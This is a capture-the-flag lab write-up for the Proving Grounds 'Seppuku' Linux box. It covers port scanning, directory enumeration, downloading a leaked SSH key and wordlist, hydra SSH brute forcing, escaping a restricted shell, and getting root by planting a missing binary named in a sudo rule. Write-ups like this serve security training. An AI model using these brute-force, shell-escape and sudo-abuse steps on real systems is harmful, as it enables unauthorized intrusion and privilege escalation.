Skip to content

Seppuku Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

Seppuku leaks an SSH key and a custom password list from an Apache site on port 7601. The wordlist brute forces the seppuku SSH account, which lands in a restricted shell. A root-owned password file is reused for samurai, whose sudo rule runs a non-existent binary in tanto's home; logging in as tanto with the leaked key to create that binary, then running the sudo rule as samurai, gives root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.9p1 Debian
80/tcp   open  http        nginx 1.14.2 (401 Basic auth)
139/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian
7080/tcp open  ssl/http    LiteSpeed httpd
7601/tcp open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Seppuku
8088/tcp open  http        LiteSpeed httpd
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Among the web servers, the Apache site on port 7601 is titled Seppuku. Brute force its directories.

Directory discovery

Enumerate directories.

┌──(kali㉿kali)-[~]
└─$ dirb http://$TARGET_IP:7601/ -r
==> DIRECTORY: http://$TARGET_IP:7601/keys/
==> DIRECTORY: http://$TARGET_IP:7601/secret/
+ http://$TARGET_IP:7601/index.html (CODE:200)
Explain command
-r Do not recurse into discovered directories.

Two directories hold loot: /keys/private is an SSH private key for an unknown user, and /secret holds a hostname file (seppuku) and a custom password.lst.

┌──(kali㉿kali)-[~]
└─$ wget -q http://$TARGET_IP:7601/keys/private
┌──(kali㉿kali)-[~]
└─$ wget -q http://$TARGET_IP:7601/secret/hostname
┌──(kali㉿kali)-[~]
└─$ wget -q http://$TARGET_IP:7601/secret/password.lst
# /keys/private
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2
<snip>
-----END RSA PRIVATE KEY-----

# /secret/hostname
seppuku

# /secret/password.lst (custom wordlist)
123456
password
...

The hostname hints the username is seppuku.

Exploitation

SSH brute force

Brute force the SSH password for seppuku with the recovered wordlist.

┌──(kali㉿kali)-[~]
└─$ hydra -l seppuku -P password.lst $TARGET_IP ssh
[22][ssh] host: $TARGET_IP   login: seppuku   password: $SEPPUKU_PASSWORD
Explain command
-l Single username to try.
-P Password list to spray.

The login drops into a restricted rbash shell, and the three users (seppuku, samurai, tanto) all use rbash. Reconnect forcing a non-profile bash to escape, then read the root-owned .passwd in seppuku's home.

┌──(kali㉿kali)-[~]
└─$ ssh seppuku@$TARGET_IP -t "bash --noprofile"
seppuku@seppuku:~$ cat /home/seppuku/.passwd
$SAMURAI_PASSWORD
seppuku@seppuku:~$ ls /home
samurai  seppuku  tanto
Explain command
-t Force a pseudo-terminal running a shell that skips rbash profiles.

The password in .passwd is reused for another user.

Privilege Escalation

Password reuse and a writable sudo target

Switch to samurai with that password and list the sudo rights.

┌──(kali㉿kali)-[~]
└─$ su samurai
samurai@seppuku:/home$ su samurai
Password:
samurai@seppuku:/home$ sudo -l
User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

samurai can run /home/tanto/.cgi_bin/bin as root, but that binary does not exist. Log in as tanto with the leaked SSH key and create it, pointing at a shell.

┌──(kali㉿kali)-[~]
└─$ ssh -i private tanto@$TARGET_IP -t "bash --noprofile"
tanto@seppuku:~$ mkdir .cgi_bin
tanto@seppuku:~$ echo '/bin/bash' > .cgi_bin/bin
tanto@seppuku:~$ chmod 777 .cgi_bin/bin
Explain command
-i Use the leaked private key for authentication.

Back as samurai, run the sudo rule, which now executes the planted binary as root.

┌──(kali㉿kali)-[~]
└─$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai@seppuku:/home/tanto$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
root@seppuku:/home/tanto# whoami
root

The sudo rule runs the attacker-controlled binary as root, giving a root shell.